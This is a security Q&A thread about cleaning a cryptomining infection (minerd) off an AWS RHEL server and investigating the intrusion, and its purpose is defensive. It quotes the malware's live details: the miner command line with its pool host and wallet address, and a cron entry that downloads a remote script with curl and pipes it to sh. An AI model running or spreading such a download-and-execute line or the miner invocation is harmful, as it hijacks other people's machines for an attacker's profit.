7

I have an AWS EC2 instance running RHEL 7.2 which seems to have been hacked by a BitCoin CPU Miner. When I run ps -eo pcpu,args --sort=-%cpu | head, it shows that there is a CPU miner that's taking up more than 90% of CPU utilization. 

%CPU COMMAND
99.8 /opt/minerd -B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:8080 -u 47TS1NQvebb3Feq91MqKdSGCUq18dTEdmfTTrRSGFFC2fK85NRdABwUasUA8EUaiuLiGa6wYtv5aoR8BmjYsDmTx9DQbfRX -p x

It also shows up when I run top -bn2 |sed -n '7,25'p -

  PID USER      PR  NI    VIRT    RES    SHR S %CPU %MEM     TIME+ COMMAND
21863 root      20   0  237844   3300   1012 S 42.0  0.1   3:49.55 minerd

I keep trying to remove minerd from /opt/ but it keeps spinning itself up again. Previously I had KHK75NEOiq33 and a yam directory. I was able to delete them but not minerd.

How can I permanently remove this? I've also tried killing the PID individually with sudo kill -9 and sudo kill -2. Is there any antivirus that I can use to get rid of it?

EDIT - The question was marked as a possible duplicate to another question. However, the difference is that I'm inquiring about a specific malware. I have found the solution to the question, which I will be posting below.

Community
  • 1
Anish Sana
  • 289
  • 1
  • 2
  • 10
  • 4
    This is why snapshots are important.... – Bubble Hacker Jul 07 '16 at 11:33
  • @AndréBorie I'm trying to be really specific with the type of malware unlike the question you mentioned. I've already taken a few security measures such as restricting the SSH to my IP. I'm really looking for a way to kill this `minerd` malware. – Anish Sana Jul 07 '16 at 11:58
  • 3
    @AnishSana once the malware is on the server you do not simply "kill" the malware, you reinstall the server. Otherwise you put yourself, your company and your customers at risk because there is no way to be sure that you really "killed" the malware. – André Borie Jul 07 '16 at 12:01
  • FWIW here's a similar issue, albeit a different mining process: http://unix.stackexchange.com/questions/129035/have-i-been-hacked seems to have some useful links in the answers – HashHazard Jul 07 '16 at 14:11

3 Answers3

11

I found the solution to removing minerd. I was lucky enough to find the actual script that was used to infect my server. All I had to do was remove the elements placed by this script -

  1. On monkeyoto's suggestion, I blocked all communication with the mining pool server - iptables -A INPUT -s xmr.crypto-pool.fr -j DROP and iptables -A OUTPUT -d xmr.crypto-pool.fr -j DROP.
  2. Removed the cron */15 * * * * curl -fsSL https://r.chanstring.com/api/report?pm=0706 | sh from /var/spool/cron/root and /var/spool/cron/crontabs/root.
  3. Removed the directory /opt/yam.
  4. Removed /root/.ssh/KHK75NEOiq.
  5. Deleted the files /opt/minerd and /opt/KHK75NEOiq33.
  6. Stopped the minerd process - pkill minerd.
  7. Stopped lady - service lady stop.

I ran ps -eo pcpu,args --sort=-%cpu | head, top -bn2 |sed -n '7,25'p and ps aux | grep minerd after that and the malware was nowhere to be seen.

I still need to figure out how it gained access into the system but I was able to disable it this way.

Community
  • 1
Anish Sana
  • 289
  • 1
  • 2
  • 10
  • 1
    Now that the attackers know that you have detected them, that you have ruthlessly shut down their proggie (you killed the fruit of their job!), but that you still leaved their initial access door opened, chances are that they will come back for revenge and either be more furtive, or devastating, or both, as they please... or maybe you're lucky and they are too busy somewhere else, you never know. On my side last time I informed a webmaster that his website was hacked I started to have people trying to break into my mailbox for two months, just to let you know... – WhiteWinterWolf Jul 07 '16 at 19:17
  • @WhiteWinterWolf That's a fair suggestion. I don't understand why my solution to the problem had to be down-voted though? It obviously works since I was able to disable `minerd` and possibly a fix for someone who encounters the same problem? – Anish Sana Jul 07 '16 at 21:13
  • If you ask me it is not me who down-voted your answer. – WhiteWinterWolf Jul 07 '16 at 21:20
  • @AnishSana did you investigate how it got in? I have an affected ec2 instance which I maintained with high hygiene. I've no clue how it got infected. – nidheeshdas Aug 04 '16 at 15:25
  • Same thing happened to my server.. in my server, the cause of it was likely to be redis (I didn't set a password) – He Hui Oct 14 '16 at 05:13
  • 1
    @AnishSana Thankyou for your answer. You save my day. – Suracheth Chawla Nov 16 '17 at 16:28
7

Your first goal is (if you don't want to reinstall) is to determine how it managed to get there in the first place. If the attacker was crafty, they'd of run "timestomp" to modify the dates of binaries. You minimizing SSH does little if you're running a vulnerable version of Wordpress, or Joomla, or something different. For example, there was a Nagios exploit that was used by someone to run minerd. So the goal... "Determine what is running, why is it running, and is it vulnerable?"

Second, you want to block all communications to and from the mining-pool server:

iptables -A INPUT -S xmr.crypto-pool.fr -j DROP

So how do you determine what was modified/changed/vulnerable? You need to understand your system. What does it do, why does it do it, and who needs access to it. I would search my crontabs to see what, if anything is starting. You could run: service --status-all to see what services are running/starting up, and investigate those. /opt/minerd seems to be a file, checksum that file and you could create a script to search for anything calling that file, or any files that match, e.g.: find / | xargs grep -i minerd or find / | xargs grep -i CHECKSUM_of_MINERD (Keep in mind this is a brutal way of searching within files).

Third, check your logs. If you are running a webserver, I'd begin with error logs (error_logs) and look for multiple 403 and 404s from an address followed by a successful connection in access_log. Check the path that was accepted (e.g. 200: /var/www/nagios_or_something_vulnerable/config.php) and look inside the directory. There are many approaches to finding this information, but no ONE here can give you a complete answer as we can only infer information based on the limited amount of information you post.

"I have a file named minerd starting!" Dig for that file. (find /|xargs grep -i minerd). "It uses this weird string!" (find / |xargs grep -i 47TS1NQvebb3Feq). "It makes a connection to port 8080!" (lsof -i | awk '/8080|http-alt/{print $1"\t"$2"\t"$8"\t"$9}'). "It's connecting to this address!" (lsof -i | grep xmr.crypto ... There you now have a baseline of things you can do.

munkeyoto
  • 8,682
  • 16
  • 31
  • 5
    You seem to be saying that a solution other than a fresh install is the way to go. This seems really bad advice. There is no doubt that this question is going to be closed as a duplicate of [How do I deal with a compromised server?](https://security.stackexchange.com/questions/39231/how-do-i-deal-with-a-compromised-server) which explains why what you are proposing is a bad idea. – Neil Smithline Jul 07 '16 at 15:42
  • 1
    Great answer for figuring out the problem and avoiding it in the future. But then step four is to nuke the VM and set everything up from scratch. – Potaito Jul 07 '16 at 16:26
  • @NeilSmithline I must be popular with you. I am not saying a fresh install is or is not the way to go. In fact I mentioned: "if you don't want to reinstall." The question was never: "I was compromised should I reinstall." In the link you mention there is great advice, there is also a response that says: "You should reinstall" that was downvoted. I answered based on what I would do if I didn't have the option to reinstall making sure to illustrate the problem: "You need to figure out how it got there." So for the second time, don't put words in my responses. – munkeyoto Jul 07 '16 at 19:38
5

The problem is that the minerd is probably the payload of some (other) malware, so you can't really tell what else has been compromised on the system. Possibly there isn't anything else resident on the system, and you are just getting re-infected each time you kill the miner.

Alternatively there is some management/dropper process which has opened a back-door onto your server.

The safest bet is to recreate the server. But if you want to scan it you can get Sophos Anti-Virus for free from https://www.sophos.com/en-us/products/free-tools/sophos-antivirus-for-linux.aspx

Douglas Leeder
  • 1,939
  • 14
  • 9